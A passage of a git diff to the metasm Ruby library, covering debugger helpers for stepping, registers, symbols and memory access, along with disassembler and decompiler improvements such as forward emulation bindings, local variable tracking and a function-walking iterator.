@tid] + continue + else + singlestep + end + end + + # stepover ; wait_target + def stepover_wait + stepover + wait_target + end + + # checks if an instruction should stop the stepout() (eg it is a return instruction) + def end_stepout(di = di_at(pc)) + di and @cpu.dbg_end_stepout(self, di.address, di) + end + + # stepover until finding the last instruction of the function + def stepout + # TODO thread-local bps + while not end_stepout + stepover + wait_target + end + do_singlestep + end + + def stepout_wait + stepout + wait_target + end + + # set a singleshot breakpoint, run the process, and wait + def go(target, cond=nil) + bpx(target, true, cond) + continue_wait + end + + # continue_wait until @state == :dead + def run_forever + continue_wait until @state == :dead + end + + # decode the Instruction at the address, use the @disassembler cache if available + def di_at(addr) + @disassembler.di_at(addr) || @disassembler.disassemble_instruction(addr) + end + + # list the general purpose register names available for the target + def register_list + @cpu.dbg_register_list + end + + # hash { register_name => register_size_in_bits } + def register_size + @cpu.dbg_register_size + end + + # retrieves the name of the register holding the program counter (address of the next instruction) + def register_pc + @cpu.dbg_register_pc + end + + # retrieve the name of the register holding the stack pointer + def register_sp + @cpu.dbg_register_sp + end + + # then name of the register holding the cpu flags + def register_flags + @cpu.dbg_register_flags + end + + # list of flags available in the flag register + def flag_list + @cpu.dbg_flag_list + end + + # retreive the value of the program counter register (eip) + def pc + get_reg_value(register_pc) + end + alias ip pc + + # change the value of pc + def pc=(v) + set_reg_value(register_pc, v) + end + alias ip= pc= + + # retrieve the value of the stack pointer register + def sp + get_reg_value(register_sp) + end + + # update the stack pointer + def sp=(v) + set_reg_value(register_sp, v) + end + + # retrieve the value of a flag (0/1) + def get_flag_value(f) + @cpu.dbg_get_flag(self, f) + end + + # retrieve the value of a flag (true/false) + def get_flag(f) + get_flag_value(f) != 0 + end + + # change the value of a flag + def set_flag_value(f, v) + (v && v != 0) ? set_flag(f) : unset_flag(f) + end + + # switch the value of a flag (true->false, false->true) + def toggle_flag(f) + set_flag_value(f, 1-get_flag_value(f)) + end + + # set the value of the flag to true + def set_flag(f) + @cpu.dbg_set_flag(self, f) + end + + # set the value of the flag to false + def unset_flag(f) + @cpu.dbg_unset_flag(self, f) + end + + # returns the name of the module containing addr or nil + def addr2module(addr) + @modulemap.keys.find { |k| @modulemap[k][0] <= addr and @modulemap[k][1] > addr } + end + + # returns a string describing addr in term of symbol (eg 'libc.so.6!printf+2f') + def addrname(addr) + (addr2module(addr) || '???') + '!' + + if s = @symbols[addr] ? addr : @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } + @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) + else '%08x' % addr + end + end + + # same as addrname, but scan preceding addresses if no symbol matches + def addrname!(addr) + (addr2module(addr) || '???') + '!' + + if s = @symbols[addr] ? addr : + @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } || + @symbols.keys.sort.find_all { |s_| s_ < addr and s_ + 0x10000 > addr }.max + @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) + else '%08x' % addr + end + end + + # loads the symbols from a mapped module + def loadsyms(addr, name='%08x'%addr.to_i) + if addr.kind_of? String + modules.each { |m| + if m.path =~ /#{addr}/i + addr = m.addr + name = File.basename m.path + break + end + } + return if not addr.kind_of? Integer + end + return if not peek = @memory.get_page(addr, 4) + if peek == "\x7fELF" + cls = LoadedELF + elsif peek[0, 2] == "MZ" and @memory[addr+@memory[addr+0x3c,4].unpack('V').first, 4] == "PE\0\0" + cls = LoadedPE + else return + end + + begin + e = cls.load @memory[addr, 0x1000_0000] + e.load_address = addr + e.decode_header + e.decode_exports + rescue + # cache the error so that we dont hit it every time + @modulemap[addr.to_s(16)] ||= [addr, addr+0x1000] + return + end + + if n = e.module_name and n != name + name = n + end + + @modulemap[name] ||= [addr, addr+e.module_size] + + cnt = 0 + e.module_symbols.each { |n_, a, l| + cnt += 1 + a += addr + @disassembler.set_label_at(a, n_, false) + @symbols[a] = n_ # XXX store "lib!sym" ? + if l and l > 1; @symbols_len[a] = l + else @symbols_len.delete a # we may overwrite an existing symbol, keep len in sync + end + } + log "loaded #{cnt} symbols from #{name}" + + true + end + + # scan the target memory for loaded libraries, load their symbols + def scansyms(addr=0, max=@memory.length-0x1000-addr) + while addr <= max + loadsyms(addr) + addr += 0x1000 + end + end + + # load symbols from all libraries found by the OS module + def loadallsyms(&b) + modules.each { |m| + b.call(m.addr) if b + loadsyms(m.addr, m.path) + } + end + + # see Disassembler#load_map + def load_map(str, off=0) + str = File.read(str) if File.exist?(str) + sks = @disassembler.sections.keys.sort + str.each_line { |l| + case l.strip + when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style + a = $1.to_i(16) + off + n = $3 + when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style + # see Disassembler for comments + a = sks[$1.to_i(16)] + $2.to_i(16) + off + n = $3 + else next + end + @disassembler.set_label_at(a, n, false) + @symbols[a] = n + } + + end + + # parses the expression contained in arg + def parse_expr(arg) + parse_expr!(arg.dup) + end + + # parses the expression contained in arg, updates arg to point after the expr + def parse_expr!(arg, &b) + return if not e = IndExpression.parse_string!(arg) { |s| + # handle 400000 -> 0x400000 + # XXX no way to override and force decimal interpretation.. + if s.length > 4 and not @disassembler.get_section_at(s.to_i) and @disassembler.get_section_at(s.to_i(16)) + s.to_i(16) + else + s.to_i + end + } + + # resolve ambiguous symbol names/hex values + bd = {} + e.externals.grep(::String).each { |ex| + if not v = register_list.find { |r| ex.downcase == r.to_s.downcase } || + (b && b.call(ex)) || symbols.index(ex) + lst = symbols.values.find_all { |s| s.downcase.include? ex.downcase } + case lst.length + when 0 + if ex =~ /^[0-9a-f]+$/i and @disassembler.get_section_at(ex.to_i(16)) + v = ex.to_i(16) + else + raise "unknown symbol name #{ex}" + end + when 1 + v = symbols.index(lst.first) + log "using #{lst.first} for #{ex}" + else + suggest = lst[0, 50].join(', ') + suggest = suggest[0, 125] + '...' if suggest.length > 128 + raise "ambiguous symbol name #{ex}: #{suggest} ?" + end + end + bd[ex] = v + } + e = e.bind(bd) + + e + end + + # resolves an expression involving register values and/or memory indirection using the current context + # uses #register_list, #get_reg_value, @mem, @cpu + # :tid/:pid resolve to current thread + def resolve_expr(e) + e = parse_expr(e) if e.kind_of? ::String + bd = { :tid => @tid, :pid => @pid } + Expression[e].externals.each { |ex| + next if bd[ex] + case ex + when ::Symbol; bd[ex] = get_reg_value(ex) + when ::String; bd[ex] = @symbols.index(ex) || @disassembler.prog_binding[ex] || 0 + end + } + Expression[e].bind(bd).reduce { |i| + if i.kind_of? Indirection and p = i.pointer.reduce and p.kind_of? ::Integer + i.len ||= @cpu.size/8 + p &= (1 << @cpu.size) - 1 if p < 0 + Expression.decode_imm(@memory, i.len, @cpu, p) + end + } + end + alias resolve resolve_expr + + # return/yield an array of [addr, addr symbolic name] corresponding to the current stack trace + def stacktrace(maxdepth=500, &b) + @cpu.dbg_stacktrace(self, maxdepth, &b) + end + + # accepts a range or begin/end address to read memory, or a register name + def [](arg0, arg1=nil) + if arg1 + arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer + arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer + @memory[arg0, arg1].to_str + elsif arg0.kind_of? ::Range + arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range + arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer + @memory[arg0].to_str + else + get_reg_value(arg0) + end + end + + # accepts a range or begin/end address to write memory, or a register name + def []=(arg0, arg1, val=nil) + arg1, val = val, arg1 if not val + if arg1 + arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer + arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer + @memory[arg0, arg1] = val + elsif arg0.kind_of? ::Range + arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range + arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer + @memory[arg0] = val + else + set_reg_value(arg0, val) + end + end + + + # read an int from the target memory, int of sz bytes (defaults to cpu.size) + def memory_read_int(addr, sz=@cpu.size/8) + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + Expression.decode_imm(@memory, sz, @cpu, addr) + end + + # write an int in the target memory + def memory_write_int(addr, val, sz=@cpu.size/8) + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + val = resolve_expr(val) if not val.kind_of? ::Integer + @memory[addr, sz] = Expression.encode_imm(val, sz, @cpu) + end + + # retrieve an argument (call at a function entrypoint) + def func_arg(nr) + @cpu.dbg_func_arg(self, nr) + end + def func_arg_set(nr, val) + @cpu.dbg_func_arg_set(self, nr, val) + end + + # retrieve a function returned value (call at func exitpoint) + def func_retval + @cpu.dbg_func_retval(self) + end + def func_retval_set(val) + @cpu.dbg_func_retval_set(self, val) + end + def func_retval=(val) + @cpu.dbg_func_retval_set(self, val) + end + + # retrieve a function return address (call at func entry/exit) + def func_retaddr + @cpu.dbg_func_retaddr(self) + end + def func_retaddr_set(addr) + @cpu.dbg_func_retaddr_set(self, addr) + end + def func_retaddr=(addr) + @cpu.dbg_func_retaddr_set(self, addr) + end + + def load_plugin(plugin_filename) + if not File.exist?(plugin_filename) and defined? Metasmdir + # try autocomplete + pf = File.join(Metasmdir, 'samples', 'dbg-plugins', plugin_filename) + if File.exist?(pf) + plugin_filename = pf + elsif File.exist?(pf + '.rb') + plugin_filename = pf + '.rb' + end + end + if (not File.exist?(plugin_filename) or File.directory?(plugin_filename)) and File.exist?(plugin_filename + '.rb') + plugin_filename += '.rb' + end + + instance_eval File.read(plugin_filename) + end + + # return the list of memory mappings of the current process + # array of [start, len, perms, infos] + def mappings + [[0, @memory.length]] + end + + # return a list of Process::Modules (with a #path, #addr) for the current process + def modules + [] + end + + # list debugged pids + def list_debug_pids + @pid_stuff.keys | [@pid].compact + end + + # return a list of OS::Process listing all alive processes (incl not debugged) + # default version only includes current debugged pids + def list_processes + list_debug_pids.map { |p| OS::Process.new(p) } + end + + # check if pid is valid + def check_pid(pid) + list_processes.find { |p| p.pid == pid } + end + + # list debugged tids + def list_debug_tids + @tid_stuff.keys | [@tid].compact + end + + # list of thread ids existing in the current process (incl not debugged) + # default version only lists debugged tids + alias list_threads list_debug_tids + + # check if tid is valid for the current process + def check_tid(tid) + list_threads.include?(tid) + end + + # see EData#pattern_scan + # scans only mapped areas of @memory, using os_process.mappings + def pattern_scan(pat, start=0, len=@memory.length-start, &b) + ret = [] + mappings.each { |maddr, mlen, perm, *o_| + next if perm !~ /r/i + mlen -= start-maddr if maddr < start + maddr = start if maddr < start + mlen = start+len-maddr if maddr+mlen > start+len + next if mlen <= 0 + EncodedData.new(read_mapped_range(maddr, mlen)).pattern_scan(pat) { |off| + off += maddr + ret << off if not b or b.call(off) + } + } + ret + end + + def read_mapped_range(addr, len) + # try to use a single get_page call + s = @memory.get_page(addr, len) || '' + s.length == len ? s : (s = @memory[addr, len] ? s.to_str : nil) + end +end +end diff --git a/lib/metasm/metasm/decode.rb b/lib/metasm/metasm/decode.rb index 56fc2a561f..7c0b1af609 100644 --- a/lib/metasm/metasm/decode.rb +++ b/lib/metasm/metasm/decode.rb @@ -134,9 +134,10 @@ class EncodedData # bytes from rawsize to virtsize are returned as zeroes # ignores self.relocations def read(len=@virtsize-@ptr) - len = @virtsize-@ptr if len > @virtsize-@ptr - str = (@ptr < @data.length) ? @data[@ptr, len] : '' - str = str.to_str.ljust(len, "\0") if str.length < len + vlen = len + vlen = @virtsize-@ptr if len > @virtsize-@ptr + str = (@ptr < @data.length) ? @data[@ptr, vlen] : '' + str = str.to_str.ljust(vlen, "\0") if str.length < vlen @ptr += len str end @@ -182,7 +183,7 @@ class CPU # returns a DecodedInstruction or nil def decode_instruction(edata, addr) @bin_lookaside ||= build_bin_lookaside - di = decode_findopcode edata + di = decode_findopcode edata if edata.ptr <= edata.length di.address = addr if di di = decode_instr_op(edata, di) if di decode_instr_interpret(di, addr) if di @@ -209,5 +210,35 @@ class CPU def delay_slot(di=nil) 0 end + + def disassembler_default_func + DecodedFunction.new + end + + # return something like backtrace_binding in the forward direction + # set pc_reg to some reg name (eg :pc) to include effects on the instruction pointer + def get_fwdemu_binding(di, pc_reg=nil) + fdi = di.backtrace_binding ||= get_backtrace_binding(di) + fdi = fix_fwdemu_binding(di, fdi) + if pc_reg + if di.opcode.props[:setip] + xr = get_xrefs_x(nil, di) + if xr and xr.length == 1 + fdi[pc_reg] = xr[0] + else + fdi[:incomplete_binding] = Expression[1] + end + else + fdi[pc_reg] = Expression[pc_reg, :+, di.bin_length] + end + end + fdi + end + + # patch a forward binding from the backtrace binding + # useful only on specific instructions that update a register *and* dereference that register (eg push) + def fix_fwdemu_binding(di, fbd) + fbd + end end end diff --git a/lib/metasm/metasm/decompile.rb b/lib/metasm/metasm/decompile.rb index a835f44946..6dc7bda9a3 100644 --- a/lib/metasm/metasm/decompile.rb +++ b/lib/metasm/metasm/decompile.rb @@ -69,7 +69,7 @@ class Decompiler @c_parser.toplevel.symbol.delete func.name decompile_func(entry) @recurse = pre_recurse - if not dcl = @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } + if not @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } @c_parser.toplevel.statements << C::Declaration.new(func) end end @@ -208,7 +208,7 @@ class Decompiler @c_parser.toplevel.statements.delete_if { |ts| ts.kind_of? C::Declaration and ts.var.name == name } aoff = 1 ptype.args.to_a.each { |a| - aoff = (aoff + @c_parser.typesize[:ptr] - 1) / @c_parser.typesize[:ptr] * @c_parser.typesize[:ptr] + aoff = (aoff + @c_parser.typesize[:ptr] - 1) / @c_parser.typesize[:ptr] * @c_parser.typesize[:ptr] f.decompdata[:stackoff_type][aoff] ||= a.type f.decompdata[:stackoff_name][aoff] ||= a.name if a.name aoff += sizeof(a) # ary ? @@ -293,7 +293,7 @@ class Decompiler @dasm.function[ta] = DecodedFunction.new puts "autofunc #{Expression[ta]}" if $VERBOSE end - + if @dasm.function[ta] and type != :subfuncret f = dasm.auto_label_at(ta, 'func') ta = dasm.normalize($1) if f =~ /^thunk_(.*)/ @@ -350,7 +350,7 @@ class Decompiler :include_start => i_s, :no_check => true, :terminals => [:frameptr]) if vals.length == 1 and ee = vals.first and (ee.kind_of? Expression and (ee == Expression[:frameptr] or (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer))) - ee + ee else e end end @@ -602,12 +602,12 @@ class Decompiler when C::If patch_test[ce.test] if ce.bthen.kind_of? C::Block - case ce.bthen.statements.length + case ce.bthen.statements.length when 1 walk(ce.bthen.statements) { |sst| sst.outer = ce.bthen.outer if sst.kind_of? C::Block and sst.outer == ce.bthen } ce.bthen = ce.bthen.statements.first when 0 - if not ce.belse and i = ce.bthen.outer.statements.index(ce) + if not ce.belse and i = ce.bthen.outer.statements.index(ce) ce.bthen.outer.statements[i] = ce.test # TODO remove sideeffectless parts end end @@ -1521,7 +1521,7 @@ class Decompiler tabidx = off / sizeof(st) off -= tabidx * sizeof(st) ptr = C::CExpression[:&, [ptr, :'[]', [tabidx]]] if tabidx != 0 or ptr.type.untypedef.kind_of? C::Array - return ptr if off == 0 and (not msz or # avoid infinite recursion with eg chained list + return ptr if off == 0 and (not msz or # avoid infinite recursion with eg chained list (ptr.kind_of? C::CExpression and ((ptr.op == :& and not ptr.lexpr and s=ptr.rexpr) or (ptr.op == :'.' and s=ptr)) and not s.type.untypedef.kind_of? C::Union)) @@ -1656,13 +1656,12 @@ class Decompiler ce.rexpr = p if ce.rexpr == v1 } } - } end # to be run with scope = function body with only CExpr/Decl/Label/Goto/IfGoto/Return, with correct variables types # will transform += 1 to ++, inline them to prev/next statement ('++x; if (x)..' => 'if (++x)..') - # remove useless variables ('int i;', i never used or 'i = 1; j = i;', i never read after => 'j = 1;') + # remove useless variables ('int i;', i never used or 'i = 1; j = i;', i never read after => 'j = 1;') # remove useless casts ('(int)i' with 'int i;' => 'i') def optimize(scope) optimize_code(scope) @@ -1871,7 +1870,7 @@ class Decompiler when ::Array; exp.any? { |_e| sideeffect _e, scope } when C::Variable; (scope and not scope.symbol[exp.name]) or exp.type.qualifier.to_a.include? :volatile when C::CExpression; (exp.op == :* and not exp.lexpr) or exp.op == :funcall or AssignOp.include?(exp.op) or - sideeffect(exp.lexpr, scope) or sideeffect(exp.rexpr, scope) + sideeffect(exp.lexpr, scope) or sideeffect(exp.rexpr, scope) else true # failsafe end end @@ -2009,7 +2008,7 @@ class Decompiler }.compact tw = to - [:write] - if to.include? :split or tw.length > 1 + if to.include? :split or tw.length > 1 :split elsif tw.length == 1 tw.first @@ -2089,7 +2088,7 @@ class Decompiler if (e.op == :'++' or e.op == :'--') and v = (e.lexpr || e.rexpr) and v.kind_of? C::Variable and scope.symbol[v.name] and not v.type.qualifier.to_a.include? :volatile next if !((pos = :post.to_sym) and (oe = find_next_read_bl[label, i, v]) and oe.kind_of? C::CExpression) and - !((pos = :prev.to_sym) and (oe = find_prev_read[label, i-2, v]) and oe.kind_of? C::CExpression) + !((pos = :prev.to_sym) and (oe = find_prev_read[label, i-2, v]) and oe.kind_of? C::CExpression) next if oe.op == :& and not oe.lexpr # no &(++eax) # merge pre/postincrement into next/prev var usage @@ -2221,7 +2220,7 @@ class Decompiler } case cnt when 0 - break if bad + break if bad next when 1 # good break if e.complexity > 10 and ce_.complexity > 3 # try to keep the C readable @@ -2443,7 +2442,7 @@ class Decompiler end # compare type.type cause var is an Array and the cast is a Pointer countderef[r.rexpr.name] += 1 if r.kind_of? C::CExpression and not r.op and r.rexpr.kind_of? C::Variable and - sizeof(nil, r.type.type) == sizeof(nil, r.rexpr.type.type) rescue nil + sizeof(nil, r.type.type) == sizeof(nil, r.rexpr.type.type) rescue nil } vars.each { |n| if countref[n] == countderef[n] @@ -2453,7 +2452,7 @@ class Decompiler v.initializer = v.initializer.first if v.initializer.kind_of? ::Array walk_ce(tl) { |ce| if ce.op == :'->' and C::CExpression[ce.lexpr] == C::CExpression[v] - ce.op = :'.' + ce.op = :'.' elsif ce.lexpr == target ce.lexpr = v end diff --git a/lib/metasm/metasm/disassemble.rb b/lib/metasm/metasm/disassemble.rb index 27e910ede0..01a91eb803 100644 --- a/lib/metasm/metasm/disassemble.rb +++ b/lib/metasm/metasm/disassemble.rb @@ -233,6 +233,11 @@ class DecodedFunction attr_accessor :finalized # bool, if true the function does not return (eg exit() or ExitProcess()) attr_accessor :noreturn + # hash stackoff => varname + # varname is a single String object shared by all ExpressionStrings (to allow renames) + attr_accessor :localvars + # hash stack offset => di address + attr_accessor :localvars_xrefs # if btbind_callback is defined, calls it with args [dasm, binding, funcaddr, calladdr, expr, origin, maxdepth] # else update lazily the binding from expr.externals, and return backtrace_binding @@ -264,6 +269,16 @@ class DecodedFunction @backtracked_for = [] @backtrace_binding = {} end + + def get_localvar_stackoff(off, di=nil, str=nil) + if di + @localvars_xrefs ||= {} + @localvars_xrefs[off] ||= [] + @localvars_xrefs[off] |= [di.address] + end + @localvars ||= {} + @localvars[off] ||= (str || (off > 0 ? 'arg_%X' % off : 'var_%X' % -off)) + end end class CPU @@ -438,7 +453,9 @@ class Disassembler when ::Integer when ::String raise "invalid section base #{base.inspect} - not at section start" if encoded.export[base] and encoded.export[base] != 0 - raise "invalid section base #{base.inspect} - already seen at #{@prog_binding[base]}" if @prog_binding[base] and @prog_binding[base] != Expression[base] + if ed = get_edata_at(base) + ed.del_export(base) + end encoded.add_export base, 0 else raise "invalid section base #{base.inspect} - expected string or integer" end @@ -451,7 +468,7 @@ class Disassembler # update section_edata.reloc # label -> list of relocs that refers to it - @inv_section_reloc = {} + @inv_section_reloc ||= {} @sections.each { |b, e| e.reloc.each { |o, r| r.target.externals.grep(::String).each { |ext| (@inv_section_reloc[ext] ||= []) << [b, e, o, r] } @@ -490,7 +507,7 @@ class Disassembler # ignore relocs embedded in an already-listed instr x << Xref.new(:reloc, addr) if not x.find { |x_| next if not x_.origin or not di_at(x_.origin) - (addr - x_.origin rescue 50) < @decoded[x_.origin].bin_length + (addr - x_.origin) < @decoded[x_.origin].bin_length rescue false } } end @@ -505,9 +522,18 @@ class Disassembler # parses a C string for function prototypes def parse_c(str, filename=nil, lineno=1) + @c_parser_constcache = nil @c_parser ||= @cpu.new_cparser @c_parser.lexer.define_weak('__METASM__DECODE__') @c_parser.parse(str, filename, lineno) + rescue ParseError + @c_parser.lexer.feed! '' + raise + end + + # list the constants ([name, integer value]) defined in the C code (#define / enums) + def c_constants + @c_parser_constcache ||= @c_parser.numeric_constants end # returns the canonical form of addr (absolute address integer or label of start of section + section offset) @@ -568,6 +594,7 @@ class Disassembler end # returns a hash associating addr => list of labels at this addr + # label_alias[a] may be nil if a new label is created elsewhere in the edata with the same name def label_alias if not @label_alias_cache @label_alias_cache = {} @@ -622,17 +649,16 @@ class Disassembler if not f.finalized f.finalized = true puts " finalize subfunc #{Expression[addr]}" if debug_backtrace - @cpu.backtrace_update_function_binding(self, addr, f, f.return_address) + backtrace_update_function_binding(addr, f) if not f.return_address detect_function_thunk(addr) end end - @comment[addr] ||= [] bd = f.backtrace_binding.reject { |k, v| Expression[k] == Expression[v] or Expression[v] == Expression::Unknown } unk = f.backtrace_binding.map { |k, v| k if v == Expression::Unknown }.compact bd[unk.map { |u| Expression[u].to_s }.sort.join(',')] = Expression::Unknown if not unk.empty? - @comment[addr] |= ["function binding: " + bd.map { |k, v| "#{k} -> #{v}" }.sort.join(', ')] - @comment[addr] |= ["function ends at " + f.return_address.map { |ra| Expression[ra] }.join(', ')] if f.return_address + add_comment(addr, "function binding: " + bd.map { |k, v| "#{k} -> #{v}" }.sort.join(', ')) + add_comment(addr, "function ends at " + f.return_address.map { |ra| Expression[ra] }.join(', ')) if f.return_address } end @@ -658,7 +684,7 @@ puts " finalize subfunc #{Expression[addr]}" if debug_backtrace next if not f = @function[subfunc] or f.finalized f.finalized = true puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace - @cpu.backtrace_update_function_binding(self, subfunc, f, f.return_address) + backtrace_update_function_binding(subfunc, f) if not f.return_address detect_function_thunk(subfunc) end @@ -667,7 +693,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace if di = @decoded[addr] if di.kind_of? DecodedInstruction - split_block(di.block, di.address) if not di.block_head? # this updates di.block + split_block(di.block, di.address, true) if not di.block_head? # this updates di.block di.block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default bf = di.block elsif di == true @@ -726,20 +752,22 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace end # splits an InstructionBlock, updates the blocks backtracked_for - def split_block(block, address=nil) + def split_block(block, address=nil, rebacktrace=false) if not address # invoked as split_block(0x401012) return if not @decoded[block].kind_of? DecodedInstruction block, address = @decoded[block].block, block end return block if address == block.address new_b = block.split address - new_b.backtracked_for.dup.each { |btt| - backtrace(btt.expr, btt.address, - :only_upto => block.list.last.address, - :include_start => !btt.exclude_instr, :from_subfuncret => btt.from_subfuncret, - :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, :len => btt.len, - :detached => btt.detached, :maxdepth => btt.maxdepth) - } + if rebacktrace + new_b.backtracked_for.dup.each { |btt| + backtrace(btt.expr, btt.address, + :only_upto => block.list.last.address, + :include_start => !btt.exclude_instr, :from_subfuncret => btt.from_subfuncret, + :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, :len => btt.len, + :detached => btt.detached, :maxdepth => btt.maxdepth) + } + end new_b end @@ -763,8 +791,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace each_xref(waddr, :w) { |x| #next if off + x.len < 0 puts "W: disasm: self-modifying code at #{Expression[waddr]}" if $VERBOSE - @comment[di_addr] ||= [] - @comment[di_addr] |= ["overwritten by #{@decoded[x.origin]}"] + add_comment(di_addr, "overwritten by #{@decoded[x.origin]}") @callback_selfmodifying[di_addr] if callback_selfmodifying return } @@ -775,6 +802,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace block.edata.ptr = di_addr - block.address + block.edata_ptr if not di = @cpu.decode_instruction(block.edata, di_addr) ed = block.edata + break if ed.ptr >= ed.length and get_section_at(di_addr) and di = block.list.last puts "#{ed.ptr >= ed.length ? "end of section reached" : "unknown instruction #{ed.data[di_addr-block.address+block.edata_ptr, 4].to_s.unpack('H*')}"} at #{Expression[di_addr]}" if $VERBOSE return end @@ -783,7 +811,18 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace block.add_di di puts di if $DEBUG - di = @callback_newinstr[di] if callback_newinstr + if callback_newinstr + ndi = @callback_newinstr[di] + if not ndi or not ndi.block + block.list.delete di + if ndi + block.add_di ndi + ndi.bin_length = di.bin_length if ndi.bin_length == 0 + @decoded[di_addr] = ndi + end + end + di = ndi + end return if not di block = di.block @@ -793,7 +832,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace if not di_addr or di.opcode.props[:stopexec] or not @program.get_xrefs_x(self, di).empty? # do not backtrace until delay slot is finished (eg MIPS: di is a - # ret and the delay slot holds stack fixup needed to calc func_binding) + # ret and the delay slot holds stack fixup needed to calc func_binding) # XXX if the delay slot is also xref_x or :stopexec it is ignored delay_slot ||= [di, @cpu.delay_slot(di)] end @@ -835,6 +874,8 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace @entrypoints |= entrypoints entrypoints.each { |ep| do_disassemble_fast_deep(normalize(ep)) } + + @callback_finished[] if callback_finished end def do_disassemble_fast_deep(ep) @@ -896,8 +937,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace } if func auto_label_at(addr, 'sub', 'loc', 'xref') - # XXX use default_btbind_callback ? - @function[addr] = DecodedFunction.new + @function[addr] = (@function[:default] || DecodedFunction.new).dup @function[addr].finalized = true detect_function_thunk(addr) puts "found new function #{get_label_at(addr)} at #{Expression[addr]}" if $VERBOSE @@ -909,7 +949,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace # does not recurse into subfunctions # assumes all :saveip returns, except those pointing to a subfunc with noreturn # yields subfunction addresses (targets of :saveip) - # only backtrace for :x with maxdepth 1 (ie handles only basic push+ret) + # no backtrace for :x (change with backtrace_maxblocks_fast) # returns a todo-style ary # assumes @addrs_todo is empty def disassemble_fast_block(block, &b) @@ -927,6 +967,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace # decode instruction block.edata.ptr = di_addr - block.address + block.edata_ptr if not di = @cpu.decode_instruction(block.edata, di_addr) + break if block.edata.ptr >= block.edata.length and get_section_at(di_addr) and di = block.list.last return ret end @@ -934,7 +975,18 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace block.add_di di puts di if $DEBUG - di = @callback_newinstr[di] if callback_newinstr + if callback_newinstr + ndi = @callback_newinstr[di] + if not ndi or not ndi.block + block.list.delete di + if ndi + block.add_di ndi + ndi.bin_length = di.bin_length if ndi.bin_length == 0 + @decoded[di_addr] = ndi + end + end + di = ndi + end return ret if not di di_addr = di.next_addr @@ -942,7 +994,9 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace if di.opcode.props[:stopexec] or di.opcode.props[:setip] if di.opcode.props[:setip] @addrs_todo = [] - @program.get_xrefs_x(self, di).each { |expr| + ar = @program.get_xrefs_x(self, di) + ar = @callback_newaddr[di.address, ar] || ar if callback_newaddr + ar.each { |expr| backtrace(expr, di.address, :origin => di.address, :type => :x, :maxdepth => @backtrace_maxblocks_fast) } end @@ -965,8 +1019,13 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace end } - di.block.add_to_normal(di_addr) - ret << [di_addr, di.address] + ar = [di_addr] + ar = @callback_newaddr[block.list.last.address, ar] || ar if callback_newaddr + ar.each { |a| + di.block.add_to_normal(a) + ret << [a, di.address] + } + ret end # handles when disassemble_fast encounters a call to a subfunction @@ -1037,7 +1096,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace count = 0 while b = block_at(addr) count += 1 - return if count > 5 or b.list.length > 4 + return if count > 5 or b.list.length > 5 if b.to_subfuncret and not b.to_subfuncret.empty? return if b.to_subfuncret.length != 1 addr = normalize(b.to_subfuncret.first) @@ -1047,7 +1106,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace return if not btb = sf.backtrace_binding btb = btb.dup btb.delete_if { |k, v| Expression[k] == Expression[v] } - return if btb.length > 2 or btb.values.include? Expression::Unknown + return if btb.length > 2 or btb.values.include? Expression::Unknown else return if not bt = b.to_normal if bt.include? :default @@ -1291,6 +1350,88 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace end end + # iterates over all instructions of a function from a given entrypoint + # carries an object while walking, the object is yielded every instruction + # every block is walked only once, after all previous blocks are done (if possible) + # on a 'jz', a [:clone] event is yielded for every path beside the first + # on a juction (eg a -> b -> d, a -> c -> d), a [:merge] event occurs if froms have different objs + # event list: + # [:di, , , ] + # [:clone, , , ] + # [:merge, , { => , => , ...}, ] + # [:subfunc, , , ] + # all events should return an object + # :merge has a copy of object1 at the end so that uninterested callers can always return args[-1] + # if an event returns false, the trace stops for the current branch + def function_walk(addr_start, obj_start) + # addresses of instrs already seen => obj + done = {} + todo = [[addr_start, obj_start]] + + while hop = todo.pop + addr, obj = hop + next if done.has_key?(done) + + di = di_at(addr) + next if not di + + if done.empty? + dilist = di.block.list[di.block.list.index(di)..-1] + else + # new block, check all 'from' have been seen + if not hop[2] + # may retry later + all_ok = true + di.block.each_from_samefunc(self) { |fa| all_ok = false unless done.has_key?(fa) } + if not all_ok + todo.unshift([addr, obj, true]) + next + end + end + + froms = {} + di.block.each_from_samefunc(self) { |fa| 